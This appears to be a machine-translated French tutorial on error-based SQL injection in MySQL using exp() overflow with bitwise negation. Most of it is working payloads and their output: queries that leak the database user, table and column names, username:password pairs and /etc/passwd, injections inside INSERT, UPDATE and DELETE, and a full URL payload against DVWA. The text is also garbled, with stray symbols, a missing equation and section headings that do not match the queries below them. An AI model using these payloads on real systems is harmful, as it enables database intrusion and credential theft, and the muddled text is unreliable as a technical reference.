Maison > Article > Opération et maintenance > Comment utiliser exp pour l'injection d'erreurs SQL
0x01 Introduction Présentation
L'éditeur a découvert un autre double débordement de données dans MySQL. Lorsque nous obtenons les fonctions dans MySQL, l'éditeur s'intéresse davantage aux fonctions mathématiques. Elles doivent également contenir certains types de données pour enregistrer les valeurs. L'éditeur a donc exécuté un test pour voir quelles fonctions provoqueraient des erreurs de débordement. Puis l'éditeur a découvert que lorsqu'une valeur supérieure à 709 est passée, la fonction exp() provoquera une erreur de débordement.
<p>mysql> select exp(709);<br>+-----------------------+<br>| exp(709) |<br>+-----------------------+<br>| 8.218407461554972e307 |<br>+-----------------------+<br>1 row in set (0.00 sec)</p><p>mysql> select exp(710);<br>ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</p>
Dans MySQL, exp a la fonction opposée de ln et log Pour présenter brièvement, log et ln renvoient des paires avec e comme base. Nombre, voir équation :
<p>mysql> select log(15);<br>+------------------+<br>| log(15) |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ln(15);<br>+------------------+<br>| ln(15) |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p>
La fonction exponentielle est la fonction inverse de la fonction logarithmique, exp() est la fonction logarithmique avec e comme base, telle que l'équation : 🎜 🎜#
En ce qui concerne l'injection, nous utilisons des requêtes négatives pour provoquer des erreurs "La valeur DOUBLE est hors de portée". Comme mentionné dans le billet de blog précédent de l'auteur, l'inversion au niveau du bit de 0 renverra "18446744073709551615". De plus, comme la fonction renvoie 0 après une exécution réussie, nous obtiendrons *** non signé en inversant la valeur BIGINT exécutée avec succès.mysql> select exp(2.70805020110221); +-----------------------+ | exp(2.70805020110221) | +-----------------------+ | 15 | +-----------------------+ 1 row in set (0.00 sec)Nous créons une DOUBLE erreur de débordement via une sous-requête et une négation au niveau du bit, et l'utilisons pour injecter des données.
<p>mysql> select ~0;<br>+----------------------+<br>| ~0 |<br>+----------------------+<br>| 18446744073709551615 |<br>+----------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ~(select version());<br>+----------------------+<br>| ~(select version()) |<br>+----------------------+<br>| 18446744073709551610 |<br>+----------------------+<br>1 row in set, 1 warning (0.00 sec)</p>
0x03 Injecter des données
Obtenir le nom de la table :
>`exp(~(select*from(select user())x))` mysql> select exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Obtenir le nom de la colonne : #🎜🎜 #
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));Récupérer des données :
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));0x04 OvernightCette requête peut vider toutes les tables et colonnes du contexte actuel. Nous pourrions également vider la base de données entière, mais comme nous extrayons via une erreur, cela renverra très peu de résultats.
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
0x05 Lisez le fichier
Vous pouvez le lire via le load_file() function Récupère le fichier, mais l'auteur a constaté qu'il y a une limite de 13 lignes. Cette instruction peut également être utilisée dans les injections de débordement BIGINT.
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
Notez que vous ne pouvez pas écrire dans le fichier car cette erreur n'écrit que 0. select exp(~(select*from(select load_file('/etc/passwd'))a));
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt'; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))' # type C:\out.txt 0
mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
0x07 Injection dans la mise à jour
mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000 newdb::users::id newdb::users::username newdb::users::password' from dual)))'
0x08 Injection dans la suppression
mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'#🎜 🎜 #Semblable à l'injection BIGINT précédente, l'injection exp est également applicable à MySQL5.5.5 et supérieur. Les versions précédentes étaient « muettes » sur cette situation.
mysql> delete from users where id='1' | exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Il peut y avoir d'autres fonctions qui généreront ce genre d'erreur.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!